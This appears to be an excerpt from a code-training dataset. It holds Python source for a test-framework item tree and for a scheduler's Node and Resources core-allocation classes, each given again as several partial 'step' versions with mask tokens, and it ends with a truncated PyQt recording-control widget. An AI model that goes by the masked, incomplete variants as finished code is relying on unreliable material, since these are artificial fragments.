setState(self, state):\n if state is PASS:\n pass\n\n @intelliprop\n def level(self):\n \"\"\"This item's level in the test tree.\n\n This is the number of ancestors this item has. If zero then this is\n the 'root' item.\n\n \"\"\"\n return len(self.ancestors)\n\n @intelliprop\n def parent(self):\n \"\"\"The parent of this item, which may be ``None``.\n\n If this is ``None`` then this item is the root of a (possibly nested)\n suite of tests.\n\n \"\"\"\n return self._collection.parent(self)\n\n @intelliprop\n def ancestors(self):\n \"\"\"A list of all ancestors for this item.\n\n Each entry is a UID. The first entry is the oldest ancesctor and the\n last entry is the immediate parent's UID.\n\n \"\"\"\n return self._collection.getAncestors(self)\n\n def hasFailingAncestor(self):\n \"\"\"Check if any ancestor is considered to have failed.\n\n An ancestor suite has failed if, for example, its ``suiteSetup``\n failed.\n\n :Return:\n ``True`` if any ancestors has failed.\n\n \"\"\"\n parent = self.parent\n if parent is None:\n return\n # TODO: Temporarily disabled.\n return\n return parent.hasFailed or parent.hasFailingAncestor()\n\n def _getNamespace(self, namespace=None):\n return namespace or dict([(n, getattr(self.item, n))\n for n in dir(self.item)])\n\n @intelliprop\n def rawDoc(self):\n \"\"\"The raw docstring, no cleaning up performed at all.\"\"\"\n return self.namespace[\"__doc__\"]\n\n @intelliprop\n def docLines(self):\n \"\"\"The docstring as lines.\n\n This is cleaned up to remove leading and trailing blank lines from\n the summary and details.\n\n :Return:\n A sequence of (non-nul terminated) lines for the docstring. The\n summary (if present) is separated from the details by a single\n empty line.\n\n \"\"\"\n summary, description = self._getDocParts()\n if description:\n return summary + [\"\"] + description\n return summary\n\n @intelliprop\n def doc(self):\n \"\"\"The docstring after being cleaned up.\n\n :Return:\n The cleaned up docstrinc as a multiline string. Leading and\n trailing blank lines are removed and the summary is separated from\n any details by a single blakn line. Common leading whitspace is\n also removed from each line.\n\n \"\"\"\n return \"\\n\".join(self.docLines)\n\n def _getDocParts(self):\n # Lose leading blank lines.\n lines = self.rawDoc.splitlines()\n while lines and not lines[0].strip():\n lines.pop(0)\n\n # All lines up to next blank line are the summary.\n summary = []\n while lines and lines[0].strip():\n summary.append(lines.pop(0))\n\n # Strip leading and trailing blank lines from the remaining details.\n while lines and not lines[0].strip():\n lines.pop(0)\n while lines and not lines[-1].strip():\n lines.pop()\n\n # Dedent the summary and details before returning them.\n summary = summary[:1] + dedentLines(summary[1:])\n details = dedentLines(lines)\n return summary, details\n\n @property\n def summary(self):\n summary, description = self._getDocParts()\n return \" \".join(summary)\n\n @property\n def details(self):\n summary, description = self._getDocParts()\n return description\n\n @property\n def sourcesUnderTest(self):\n sources = []\n for p in self.namespace.get(\"sources_under_test\", []):\n if not os.path.isabs(p):\n p = os.path.abspath(os.path.join(self.dirname, p))\n sources.append(p)\n p = self.parent\n if p is not None:\n sources.extend(p.sourcesUnderTest)\n return sources\n\n @property\n def klass(self):\n return None\n\n @property\n def path(self):\n p = self.namespace.get(\"__file__\", None)\n if p is None:\n return self.parent.path\n if p.endswith(\".pyc\"):\n p = p[:-1]\n return p\n\n @property\n def dirname(self):\n f = self.path\n if f:\n return os.path.dirname(f)\n\n @property\n def isBug(self):\n return False\n\n\nclass Test(TestItem):\n typeName = \"Test\"\n isSuite = False\n amNull = False\n\n def __init__(self, *args, **kwargs):\n super(Test, self).__init__(*args, **kwargs)\n self._runHistory = []\n self.stopAll = False\n if self.func:\n self.func.cs_test_info.test = weakref.proxy(self)\n\n def getHistory(self):\n return self._runHistory\n\n def dumpHist(self):\n return self._runHistory[-1].dump()\n\n def startNewRun(self):\n rec = RunRecord()\n self._runHistory.append(rec)\n\n def abortRun(self):\n self._runHistory.pop()\n\n def addStepRecord(self, name):\n runRecord = self._runHistory[-1]\n return runRecord.addStepRecord(name)\n\n @property\n def postCheck(self):\n return self.parent.postCheck\n\n @intelliprop\n def hasFailed(self):\n \"\"\"Check if this test has properly failed.\n\n :Return:\n ``True`` if the test has failed to run for any reason.\n\n \"\"\"\n record = self.getRunRecord().getRecord(\"run\")\n return record.state is FAIL\n\n @property\n def klass(self):\n return self.parent.klass\n\n @property\n def funcName(self):\n return self.item.__name__\n\n @property\n def func(self):\n return self.item\n\n @property\n def info(self):\n return self.func.cs_test_info\n\n @property\n def isBroken(self):\n if not hasattr(self, \"info\"):\n raise PropertyError(\"%r has no attribute %r\" % (\n self.__class__.__name__, \"info\"))\n flag = self.info.reserved_cs_flags.get(\"broken\", None)\n if flag is None:\n flag = self.info.cs_flags.get(\"broken\", False) # deprecated\n return flag\n\n @property\n def isTodo(self):\n if not hasattr(self, \"info\"):\n raise PropertyError(\"%r has no attribute %r\" % (\n self.__class__.__name__, \"info\"))\n return self.info.cs_flags.get(\"todo\", False)\n\n @property\n def isBug(self):\n if not hasattr(self, \"info\"):\n raise PropertyError(\"%r has no attribute %r\" % (\n self.__class__.__name__, \"info\"))\n flag = self.info.reserved_cs_flags.get(\"bug\", None)\n if flag is None:\n flag = self.info.cs_flags.get(\"bug\", False) # deprecated\n return flag\n\n @property\n def shouldFork(self):\n if not hasattr(self, \"info\"):\n raise PropertyError(\"%r has no attribute %r\" % (\n self.__class__.__name__, \"info\"))\n if self.info.reserved_cs_flags.get(\"fork\", False):\n return True\n parent = self.parent\n try:\n return parent.suite.cs_attrs.fork_all\n except AttributeError:\n return False\n\n @property\n def testID(self):\n return self.info.cs_tags.get(\"testID\", None)\n\n @property\n def title(self):\n return self.info.cs_flags.get(\"title\", None)\n\n @property\n def isRunnable(self):\n #if self.isBroken and not options.no_disabled:\n # return False\n if self.parent.exited:\n return False\n return True\n\n @property\n def state(self):\n rec = self.runRecord\n if rec:\n return rec.state\n return NOT_RUN\n\n @property\n def result(self):\n rec = self.runRecord\n if rec:\n return rec.result\n return NOT_RUN\n\n @property\n def hasRunProblem(self):\n rec = self.runRecord\n if rec:\n return rec.hasRunProblem\n return False\n\n @property\n def hasFailed(self):\n rec = self.runRecord\n if rec:\n return rec.hasFailed\n return False\n\n def addRunRecord(self, record):\n self._runHistory.append(record)\n if len(self._runHistory) > 5:\n self._runHistory[:] = self._runHistory[-5:]\n\n @property\n def runRecord(self):\n \"\"\"The XXX TODO\"\"\"\n if self._runHistory:\n for rec in reversed(self._runHistory):\n if not rec.invalid:\n return rec\n\n # TODO: Should now be StepRecord.\n @property\n def phaseRecord(self):\n \"\"\"The XXX TODO\"\"\"\n if not self._runHistory:\n return None, None\n return self._runHistory[-1].phaseRecord\n\n def getStepRecord(self, phase):\n return self._runHistory[-1].getStepRecord(phase)\n\n def getTestProcedure(self):\n return self._collection.spec.getThing(self)\n\n\nclass NullTest(Test):\n amNull = True\n\n def __init__(self):\n context = Context.getContext(dirPath=os.getcwd())\n super(NullTest, self).__init__(None, None, None, context)\n self.number = 0\n self.startNewRun()\n\n def startNewRun(self):\n rec = RunRecord()\n self._runHistory.append(rec)\n\n def abortRun(self):\n self._runHistory.pop()\n\n @property\n def isBug(self):\n return False\n\n def __bool__(self):\n return False\n\n\nclass Suite(TestItem):\n typeName = \"Suite\"\n isSuite = True\n\n def __init__(self, *args, **kwargs):\n self.myDir = kwargs.pop(\"myDir\")\n super(Suite, self).__init__(*args, **kwargs)\n self.exited = False\n self.number = 0\n self.skipTests = False\n self.entered = False\n\n def reset(self):\n self.entered = False\n self.skipTests = False\n\n @intelliprop\n def children(self):\n \"\"\"All the direct children of this item.\"\"\"\n tests = [t for t in self._collection if t.parent is self]\n suites = [t for t in self._collection.suites if t.parent is self]\n return suites + tests\n\n @intelliprop\n def tests(self):\n \"\"\"All the direct test children of this item.\"\"\"\n return [t for t in self._collection if t.parent is self]\n\n @property\n def suite(self):\n return self.item\n\n @property\n def runAfter(self):\n \"\"\"The _run_after for this source.\"\"\"\n return self.namespace.get(\"_run_after\", [])\n\n @property\n def postCheck(self):\n return self.namespace.get(\"postCheck\", lambda: None)\n\n @property\n def setUp(self):\n return self.namespace.get(\"setUp\", lambda: None)\n\n @property\n def postSetUp(self):\n return self.namespace.get(\"postSetUp\", lambda: None)\n\n @property\n def tearDown(self):\n return self.namespace.get(\"tearDown\", lambda: None)\n\n @property\n def suiteSetUp(self):\n return self.namespace.get(\"suiteSetUp\", lambda: None)\n\n @property\n def suiteTearDown(self):\n return self.namespace.get(\"suiteTearDown\", lambda: None)\n\n def getResult(self, name=None):\n runCount = 0\n childStates = {}\n result = Result(PASS, NONE)\n if not self.children:\n result.state = NOT_RUN\n return result\n\n for c in self.children:\n state = c.state\n runCount += state is not NOT_RUN\n childStates[state] = None\n\n if FAIL in childStates:\n result.state = CHILD_FAIL\n elif CHILD_FAIL in childStates:\n result.state = CHILD_FAIL\n elif BAD_SETUP in childStates:\n result.state = CHILD_FAIL\n elif PART_RUN in childStates:\n result.state = PART_RUN\n elif NOT_RUN in childStates:\n if runCount:\n result.state = PART_RUN\n else:\n result.state = NOT_RUN\n\n return result\n\n @property\n def result(self):\n return self.getResult()\n\n @property\n def state(self):\n result = self.getResult()\n return result.reportCode\n\n def hasTests(self):\n # Deprecated. Only used for old reporter support.\n for t in self._collection:\n if t.parent is self:\n return True\n\n\nclass ModuleSuite(Suite):\n pass\n\n\nclass ClassSuite(Suite):\n @property\n def klass(self):\n return self.item.__class__.__name__\n\n\ndef enter_pdb():\n \"\"\"Enter the python debugger.\"\"\"\n import sys, pdb\n sys.stdout, sys.stderr = sys.__stdout__, sys.__stderr__\n pdb.set_trace()\n",
"step-ids": [
33,
64,
81,
104,
122
]
}
|
[
33,
64,
81,
104,
122
] |
from qcg.appscheduler.errors import *
class Node:
def __init__(self, name=None, totalCores=0, used=0):
self.__name = name
self.__totalCores = totalCores
self.__usedCores = used
self.resources = None
def __getName(self):
return self.__name
def __getTotalCores(self):
return self.__totalCores
def __setTotalCores(self, total):
assert total >= 0 and total >= self.__usedCores
self.__totalCores = total
def __getUsedCores(self):
return self.__usedCores
def __setUsedCores(self, used):
assert used > 0 and used <= self.__totalCores
self.__usedCores = used
def __getFreeCores(self):
return self.__totalCores - self.__usedCores
def __str__(self):
return "%s %d (%d used)" % (self.__name, self.__totalCores, self.__usedCores)
"""
Allocate maximum number of cores on a node.
Args:
cores (int): maximum number of cores to allocate
Returns:
int: number of allocated cores
"""
def allocate(self, cores):
allocated = min(cores, self.free)
self.__usedCores += allocated
if self.resources is not None:
self.resources.nodeCoresAllocated(allocated)
return allocated
"""
Release specified number of cores on a node.
Args:
cores (int): number of cores to release
Raises:
InvalidResourceSpec: when number of cores to release exceeds number of of
used cores.
"""
def release(self, cores):
if cores > self.__usedCores:
raise InvalidResourceSpec()
self.__usedCores -= cores
if self.resources is not None:
self.resources.nodeCoresReleased(cores)
name = property(__getName, None, None, "name of the node")
total = property(__getTotalCores, __setTotalCores, None, "total number of cores")
used = property(__getUsedCores, __setUsedCores, None, "number of allocated cores")
free = property(__getFreeCores, None, None, "number of available cores")
class Resources:
def __init__(self, nodes=None):
self.__nodes = nodes
if self.__nodes is None:
self.__nodes = []
for node in self.__nodes:
node.resources = self
self.__totalCores = 0
self.__usedCores = 0
# print "initializing %d nodes" % len(nodes)
self.__computeCores()
def __computeCores(self):
total, used = 0, 0
for node in self.__nodes:
total += node.total
used += node.used
self.__totalCores = total
self.__usedCores = used
def __getNodes(self):
return self.__nodes
def __getTotalCores(self):
return self.__totalCores
def __getUsedCores(self):
return self.__usedCores
def __getFreeCores(self):
return self.__totalCores - self.__usedCores
"""
Function called by the node when some cores has been allocated.
This function should track number of used cores in Resources statistics.
Args:
cores (int): number of allocated cores
"""
def nodeCoresAllocated(self, cores):
self.__usedCores += cores
"""
Function called by the node when some cores has been released.
This function should track number of used cores in Resources statistics.
Args:
cores (int): number of released cores
"""
def nodeCoresReleased(self, cores):
self.__usedCores -= cores
"""
Relase allocated resources.
Args:
alloc (Allocation): allocation to release
Raises:
InvalidResourceSpec: when number of cores to release on a node is greater
than number of used cores.
"""
def releaseAllocation(self, alloc):
for node in alloc.nodeAllocations:
node.node.release(node.cores)
def __str__(self):
header = '%d (%d used) cores on %d nodes\n' % (self.__totalCores, self.__usedCores, \
len(self.__nodes))
return header + '\n'.join([str(node) for node in self.__nodes])
# if self.__nodes:
# for node in self.__nodes:
# result.join("\n%s" % node)
# return result
def nNodes(self):
return len(self.__nodes)
nodes = property(__getNodes, None, None, "list of a nodes")
totalNodes = property(nNodes, None, None, "total number of nodes")
totalCores = property(__getTotalCores, None, None, "total number of cores")
usedCores = property(__getUsedCores, None, None, "used number of cores")
freeCores = property(__getFreeCores, None, None, "free number of cores")
|
normal
|
{
"blob_id": "23a7aa6b9a98bfd4fd43fea1ecfa26cb44969804",
"index": 8061,
"step-1": "<mask token>\n\n\nclass Node:\n <mask token>\n\n def __getName(self):\n return self.__name\n\n def __getTotalCores(self):\n return self.__totalCores\n\n def __setTotalCores(self, total):\n assert total >= 0 and total >= self.__usedCores\n self.__totalCores = total\n\n def __getUsedCores(self):\n return self.__usedCores\n <mask token>\n\n def __getFreeCores(self):\n return self.__totalCores - self.__usedCores\n <mask token>\n <mask token>\n\n def allocate(self, cores):\n allocated = min(cores, self.free)\n self.__usedCores += allocated\n if self.resources is not None:\n self.resources.nodeCoresAllocated(allocated)\n return allocated\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\nclass Resources:\n\n def __init__(self, nodes=None):\n self.__nodes = nodes\n if self.__nodes is None:\n self.__nodes = []\n for node in self.__nodes:\n node.resources = self\n self.__totalCores = 0\n self.__usedCores = 0\n self.__computeCores()\n\n def __computeCores(self):\n total, used = 0, 0\n for node in self.__nodes:\n total += node.total\n used += node.used\n self.__totalCores = total\n self.__usedCores = used\n\n def __getNodes(self):\n return self.__nodes\n\n def __getTotalCores(self):\n return self.__totalCores\n\n def __getUsedCores(self):\n return self.__usedCores\n\n def __getFreeCores(self):\n return self.__totalCores - self.__usedCores\n \"\"\"\n Function called by the node when some cores has been allocated.\n This function should track number of used cores in Resources statistics.\n\n Args:\n cores (int): number of allocated cores\n \"\"\"\n\n def nodeCoresAllocated(self, cores):\n self.__usedCores += cores\n \"\"\"\n Function called by the node when some cores has been released.\n This function should track number of used cores in Resources statistics.\n\n Args:\n cores (int): number of released cores\n \"\"\"\n\n def nodeCoresReleased(self, cores):\n self.__usedCores -= cores\n \"\"\"\n Relase allocated resources.\n\n Args:\n alloc (Allocation): allocation to release\n\n Raises:\n InvalidResourceSpec: when number of cores to release on a node is greater \n than number of used cores.\n \"\"\"\n\n def releaseAllocation(self, alloc):\n for node in alloc.nodeAllocations:\n node.node.release(node.cores)\n\n def __str__(self):\n header = '%d (%d used) cores on %d nodes\\n' % (self.__totalCores,\n self.__usedCores, len(self.__nodes))\n return header + '\\n'.join([str(node) for node in self.__nodes])\n\n def nNodes(self):\n return len(self.__nodes)\n nodes = property(__getNodes, None, None, 'list of a nodes')\n totalNodes = property(nNodes, None, None, 'total number of nodes')\n totalCores = property(__getTotalCores, None, None, 'total number of cores')\n usedCores = property(__getUsedCores, None, None, 'used number of cores')\n freeCores = property(__getFreeCores, None, None, 'free number of cores')\n",
"step-2": "<mask token>\n\n\nclass Node:\n <mask token>\n\n def __getName(self):\n return self.__name\n\n def __getTotalCores(self):\n return self.__totalCores\n\n def __setTotalCores(self, total):\n assert total >= 0 and total >= self.__usedCores\n self.__totalCores = total\n\n def __getUsedCores(self):\n return self.__usedCores\n\n def __setUsedCores(self, used):\n assert used > 0 and used <= self.__totalCores\n self.__usedCores = used\n\n def __getFreeCores(self):\n return self.__totalCores - self.__usedCores\n\n def __str__(self):\n return '%s %d (%d used)' % (self.__name, self.__totalCores, self.\n __usedCores)\n <mask token>\n\n def allocate(self, cores):\n allocated = min(cores, self.free)\n self.__usedCores += allocated\n if self.resources is not None:\n self.resources.nodeCoresAllocated(allocated)\n return allocated\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\nclass Resources:\n\n def __init__(self, nodes=None):\n self.__nodes = nodes\n if self.__nodes is None:\n self.__nodes = []\n for node in self.__nodes:\n node.resources = self\n self.__totalCores = 0\n self.__usedCores = 0\n self.__computeCores()\n\n def __computeCores(self):\n total, used = 0, 0\n for node in self.__nodes:\n total += node.total\n used += node.used\n self.__totalCores = total\n self.__usedCores = used\n\n def __getNodes(self):\n return self.__nodes\n\n def __getTotalCores(self):\n return self.__totalCores\n\n def __getUsedCores(self):\n return self.__usedCores\n\n def __getFreeCores(self):\n return self.__totalCores - self.__usedCores\n \"\"\"\n Function called by the node when some cores has been allocated.\n This function should track number of used cores in Resources statistics.\n\n Args:\n cores (int): number of allocated cores\n \"\"\"\n\n def nodeCoresAllocated(self, cores):\n self.__usedCores += cores\n \"\"\"\n Function called by the node when some cores has been released.\n This function should track number of used cores in Resources statistics.\n\n Args:\n cores (int): number of released cores\n \"\"\"\n\n def nodeCoresReleased(self, cores):\n self.__usedCores -= cores\n \"\"\"\n Relase allocated resources.\n\n Args:\n alloc (Allocation): allocation to release\n\n Raises:\n InvalidResourceSpec: when number of cores to release on a node is greater \n than number of used cores.\n \"\"\"\n\n def releaseAllocation(self, alloc):\n for node in alloc.nodeAllocations:\n node.node.release(node.cores)\n\n def __str__(self):\n header = '%d (%d used) cores on %d nodes\\n' % (self.__totalCores,\n self.__usedCores, len(self.__nodes))\n return header + '\\n'.join([str(node) for node in self.__nodes])\n\n def nNodes(self):\n return len(self.__nodes)\n nodes = property(__getNodes, None, None, 'list of a nodes')\n totalNodes = property(nNodes, None, None, 'total number of nodes')\n totalCores = property(__getTotalCores, None, None, 'total number of cores')\n usedCores = property(__getUsedCores, None, None, 'used number of cores')\n freeCores = property(__getFreeCores, None, None, 'free number of cores')\n",
"step-3": "<mask token>\n\n\nclass Node:\n\n def __init__(self, name=None, totalCores=0, used=0):\n self.__name = name\n self.__totalCores = totalCores\n self.__usedCores = used\n self.resources = None\n\n def __getName(self):\n return self.__name\n\n def __getTotalCores(self):\n return self.__totalCores\n\n def __setTotalCores(self, total):\n assert total >= 0 and total >= self.__usedCores\n self.__totalCores = total\n\n def __getUsedCores(self):\n return self.__usedCores\n\n def __setUsedCores(self, used):\n assert used > 0 and used <= self.__totalCores\n self.__usedCores = used\n\n def __getFreeCores(self):\n return self.__totalCores - self.__usedCores\n\n def __str__(self):\n return '%s %d (%d used)' % (self.__name, self.__totalCores, self.\n __usedCores)\n <mask token>\n\n def allocate(self, cores):\n allocated = min(cores, self.free)\n self.__usedCores += allocated\n if self.resources is not None:\n self.resources.nodeCoresAllocated(allocated)\n return allocated\n <mask token>\n\n def release(self, cores):\n if cores > self.__usedCores:\n raise InvalidResourceSpec()\n self.__usedCores -= cores\n if self.resources is not None:\n self.resources.nodeCoresReleased(cores)\n name = property(__getName, None, None, 'name of the node')\n total = property(__getTotalCores, __setTotalCores, None,\n 'total number of cores')\n used = property(__getUsedCores, __setUsedCores, None,\n 'number of allocated cores')\n free = property(__getFreeCores, None, None, 'number of available cores')\n\n\nclass Resources:\n\n def __init__(self, nodes=None):\n self.__nodes = nodes\n if self.__nodes is None:\n self.__nodes = []\n for node in self.__nodes:\n node.resources = self\n self.__totalCores = 0\n self.__usedCores = 0\n self.__computeCores()\n\n def __computeCores(self):\n total, used = 0, 0\n for node in self.__nodes:\n total += node.total\n used += node.used\n self.__totalCores = total\n self.__usedCores = used\n\n def __getNodes(self):\n return self.__nodes\n\n def __getTotalCores(self):\n return self.__totalCores\n\n def __getUsedCores(self):\n return self.__usedCores\n\n def __getFreeCores(self):\n return self.__totalCores - self.__usedCores\n \"\"\"\n Function called by the node when some cores has been allocated.\n This function should track number of used cores in Resources statistics.\n\n Args:\n cores (int): number of allocated cores\n \"\"\"\n\n def nodeCoresAllocated(self, cores):\n self.__usedCores += cores\n \"\"\"\n Function called by the node when some cores has been released.\n This function should track number of used cores in Resources statistics.\n\n Args:\n cores (int): number of released cores\n \"\"\"\n\n def nodeCoresReleased(self, cores):\n self.__usedCores -= cores\n \"\"\"\n Relase allocated resources.\n\n Args:\n alloc (Allocation): allocation to release\n\n Raises:\n InvalidResourceSpec: when number of cores to release on a node is greater \n than number of used cores.\n \"\"\"\n\n def releaseAllocation(self, alloc):\n for node in alloc.nodeAllocations:\n node.node.release(node.cores)\n\n def __str__(self):\n header = '%d (%d used) cores on %d nodes\\n' % (self.__totalCores,\n self.__usedCores, len(self.__nodes))\n return header + '\\n'.join([str(node) for node in self.__nodes])\n\n def nNodes(self):\n return len(self.__nodes)\n nodes = property(__getNodes, None, None, 'list of a nodes')\n totalNodes = property(nNodes, None, None, 'total number of nodes')\n totalCores = property(__getTotalCores, None, None, 'total number of cores')\n usedCores = property(__getUsedCores, None, None, 'used number of cores')\n freeCores = property(__getFreeCores, None, None, 'free number of cores')\n",
"step-4": "from qcg.appscheduler.errors import *\n\n\nclass Node:\n\n def __init__(self, name=None, totalCores=0, used=0):\n self.__name = name\n self.__totalCores = totalCores\n self.__usedCores = used\n self.resources = None\n\n def __getName(self):\n return self.__name\n\n def __getTotalCores(self):\n return self.__totalCores\n\n def __setTotalCores(self, total):\n assert total >= 0 and total >= self.__usedCores\n self.__totalCores = total\n\n def __getUsedCores(self):\n return self.__usedCores\n\n def __setUsedCores(self, used):\n assert used > 0 and used <= self.__totalCores\n self.__usedCores = used\n\n def __getFreeCores(self):\n return self.__totalCores - self.__usedCores\n\n def __str__(self):\n return '%s %d (%d used)' % (self.__name, self.__totalCores, self.\n __usedCores)\n \"\"\"\n Allocate maximum number of cores on a node.\n\n Args:\n cores (int): maximum number of cores to allocate\n\n Returns:\n int: number of allocated cores\n \"\"\"\n\n def allocate(self, cores):\n allocated = min(cores, self.free)\n self.__usedCores += allocated\n if self.resources is not None:\n self.resources.nodeCoresAllocated(allocated)\n return allocated\n \"\"\"\n Release specified number of cores on a node.\n\n Args:\n cores (int): number of cores to release\n\n Raises:\n InvalidResourceSpec: when number of cores to release exceeds number of of\n used cores.\n \"\"\"\n\n def release(self, cores):\n if cores > self.__usedCores:\n raise InvalidResourceSpec()\n self.__usedCores -= cores\n if self.resources is not None:\n self.resources.nodeCoresReleased(cores)\n name = property(__getName, None, None, 'name of the node')\n total = property(__getTotalCores, __setTotalCores, None,\n 'total number of cores')\n used = property(__getUsedCores, __setUsedCores, None,\n 'number of allocated cores')\n free = property(__getFreeCores, None, None, 'number of available cores')\n\n\nclass Resources:\n\n def __init__(self, nodes=None):\n self.__nodes = nodes\n if self.__nodes is None:\n self.__nodes = []\n for node in self.__nodes:\n node.resources = self\n self.__totalCores = 0\n self.__usedCores = 0\n self.__computeCores()\n\n def __computeCores(self):\n total, used = 0, 0\n for node in self.__nodes:\n total += node.total\n used += node.used\n self.__totalCores = total\n self.__usedCores = used\n\n def __getNodes(self):\n return self.__nodes\n\n def __getTotalCores(self):\n return self.__totalCores\n\n def __getUsedCores(self):\n return self.__usedCores\n\n def __getFreeCores(self):\n return self.__totalCores - self.__usedCores\n \"\"\"\n Function called by the node when some cores has been allocated.\n This function should track number of used cores in Resources statistics.\n\n Args:\n cores (int): number of allocated cores\n \"\"\"\n\n def nodeCoresAllocated(self, cores):\n self.__usedCores += cores\n \"\"\"\n Function called by the node when some cores has been released.\n This function should track number of used cores in Resources statistics.\n\n Args:\n cores (int): number of released cores\n \"\"\"\n\n def nodeCoresReleased(self, cores):\n self.__usedCores -= cores\n \"\"\"\n Relase allocated resources.\n\n Args:\n alloc (Allocation): allocation to release\n\n Raises:\n InvalidResourceSpec: when number of cores to release on a node is greater \n than number of used cores.\n \"\"\"\n\n def releaseAllocation(self, alloc):\n for node in alloc.nodeAllocations:\n node.node.release(node.cores)\n\n def __str__(self):\n header = '%d (%d used) cores on %d nodes\\n' % (self.__totalCores,\n self.__usedCores, len(self.__nodes))\n return header + '\\n'.join([str(node) for node in self.__nodes])\n\n def nNodes(self):\n return len(self.__nodes)\n nodes = property(__getNodes, None, None, 'list of a nodes')\n totalNodes = property(nNodes, None, None, 'total number of nodes')\n totalCores = property(__getTotalCores, None, None, 'total number of cores')\n usedCores = property(__getUsedCores, None, None, 'used number of cores')\n freeCores = property(__getFreeCores, None, None, 'free number of cores')\n",
"step-5": "from qcg.appscheduler.errors import *\n\n\nclass Node:\n def __init__(self, name=None, totalCores=0, used=0):\n self.__name = name\n self.__totalCores = totalCores\n self.__usedCores = used\n self.resources = None\n\n def __getName(self):\n return self.__name\n\n def __getTotalCores(self):\n return self.__totalCores\n\n def __setTotalCores(self, total):\n assert total >= 0 and total >= self.__usedCores\n self.__totalCores = total\n\n def __getUsedCores(self):\n return self.__usedCores\n\n def __setUsedCores(self, used):\n assert used > 0 and used <= self.__totalCores\n self.__usedCores = used\n\n def __getFreeCores(self):\n return self.__totalCores - self.__usedCores\n\n def __str__(self):\n return \"%s %d (%d used)\" % (self.__name, self.__totalCores, self.__usedCores)\n\n \"\"\"\n Allocate maximum number of cores on a node.\n\n Args:\n cores (int): maximum number of cores to allocate\n\n Returns:\n int: number of allocated cores\n \"\"\"\n\n def allocate(self, cores):\n allocated = min(cores, self.free)\n self.__usedCores += allocated\n\n if self.resources is not None:\n self.resources.nodeCoresAllocated(allocated)\n\n return allocated\n\n \"\"\"\n Release specified number of cores on a node.\n\n Args:\n cores (int): number of cores to release\n\n Raises:\n InvalidResourceSpec: when number of cores to release exceeds number of of\n used cores.\n \"\"\"\n\n def release(self, cores):\n if cores > self.__usedCores:\n raise InvalidResourceSpec()\n\n self.__usedCores -= cores\n\n if self.resources is not None:\n self.resources.nodeCoresReleased(cores)\n\n name = property(__getName, None, None, \"name of the node\")\n total = property(__getTotalCores, __setTotalCores, None, \"total number of cores\")\n used = property(__getUsedCores, __setUsedCores, None, \"number of allocated cores\")\n free = property(__getFreeCores, None, None, \"number of available cores\")\n\n\nclass Resources:\n\n def __init__(self, nodes=None):\n self.__nodes = nodes\n if self.__nodes is None:\n self.__nodes = []\n\n for node in self.__nodes:\n node.resources = self\n\n self.__totalCores = 0\n self.__usedCores = 0\n\n #\t\tprint \"initializing %d nodes\" % len(nodes)\n self.__computeCores()\n\n def __computeCores(self):\n total, used = 0, 0\n for node in self.__nodes:\n total += node.total\n used += node.used\n\n self.__totalCores = total\n self.__usedCores = used\n\n def __getNodes(self):\n return self.__nodes\n\n def __getTotalCores(self):\n return self.__totalCores\n\n def __getUsedCores(self):\n return self.__usedCores\n\n def __getFreeCores(self):\n return self.__totalCores - self.__usedCores\n\n \"\"\"\n Function called by the node when some cores has been allocated.\n This function should track number of used cores in Resources statistics.\n\n Args:\n cores (int): number of allocated cores\n \"\"\"\n\n def nodeCoresAllocated(self, cores):\n self.__usedCores += cores\n\n \"\"\"\n Function called by the node when some cores has been released.\n This function should track number of used cores in Resources statistics.\n\n Args:\n cores (int): number of released cores\n \"\"\"\n\n def nodeCoresReleased(self, cores):\n self.__usedCores -= cores\n\n \"\"\"\n Relase allocated resources.\n\n Args:\n alloc (Allocation): allocation to release\n\n Raises:\n InvalidResourceSpec: when number of cores to release on a node is greater \n than number of used cores.\n \"\"\"\n\n def releaseAllocation(self, alloc):\n for node in alloc.nodeAllocations:\n node.node.release(node.cores)\n\n def __str__(self):\n header = '%d (%d used) cores on %d nodes\\n' % (self.__totalCores, self.__usedCores, \\\n len(self.__nodes))\n return header + '\\n'.join([str(node) for node in self.__nodes])\n\n #\t\tif self.__nodes:\n #\t\t\tfor node in self.__nodes:\n #\t\t\t\tresult.join(\"\\n%s\" % node)\n #\t\treturn result\n\n def nNodes(self):\n return len(self.__nodes)\n\n nodes = property(__getNodes, None, None, \"list of a nodes\")\n totalNodes = property(nNodes, None, None, \"total number of nodes\")\n totalCores = property(__getTotalCores, None, None, \"total number of cores\")\n usedCores = property(__getUsedCores, None, None, \"used number of cores\")\n freeCores = property(__getFreeCores, None, None, \"free number of cores\")\n",
"step-ids": [
21,
23,
26,
28,
29
]
}
|
[
21,
23,
26,
28,
29
] |
<|reserved_special_token_0|>
class MVCRecordingControlGUI(MVCRecordingControlBase):
<|reserved_special_token_0|>
def __init__(self, config):
assertMainThread()
super().__init__(config)
self._directory = str(Path('.').absolute())
srv = Services.getService('MainWindow')
config.configLoaded.connect(self._restoreState)
config.configAboutToSave.connect(self._saveState)
self._config = config
recMenu = srv.menuBar().addMenu('&Recording')
style = QApplication.style()
self.actStart = QAction(QIcon.fromTheme('media-record', QIcon(
':icons/media-record.svg')), 'Start Recording', self)
self.actStop = QAction(QIcon.fromTheme('media-playback-stop', style
.standardIcon(QStyle.SP_MediaStop)), 'Stop Recording', self)
self.actSetDir = QAction(QIcon.fromTheme('document-open-folder',
style.standardIcon(QStyle.SP_DirIcon)), 'Choose directory ...',
self)
self.actStart.setEnabled(False)
self.actStop.setEnabled(False)
self.actSetDir.setEnabled(False)
self.actStart.triggered.connect(self._startTriggered)
self.actStop.triggered.connect(self._stopTriggered)
self.actSetDir.triggered.connect(self._setDir)
recMenu.addAction(self.actStart)
recMenu.addAction(self.actStop)
recMenu.addAction(self.actSetDir)
self.dockWidget = srv.newDockWidget('RecordingControl', None, Qt.
LeftDockWidgetArea, defaultLoc='PlaybackControl')
self.dockWidgetContents = QWidget(self.dockWidget)
self.dockWidget.setWidget(self.dockWidgetContents)
toolLayout = QBoxLayout(QBoxLayout.TopToBottom, self.dockWidgetContents
)
toolLayout.setContentsMargins(0, 0, 0, 0)
toolBar = QToolBar()
toolLayout.addWidget(toolBar)
toolBar.addAction(self.actStart)
toolBar.addAction(self.actStop)
toolBar.addAction(self.actSetDir)
self._directoryLabel = ElidedLabel(self._directory, parent=self.
dockWidgetContents)
to = self._directoryLabel.textOption()
to.setWrapMode(QTextOption.NoWrap)
self._directoryLabel.setTextOption(to)
self._directoryLabel.setElideMode(Qt.ElideMiddle)
self._statusLabel = ElidedLabel('(disabled)', parent=self.
dockWidgetContents)
to = self._statusLabel.textOption()
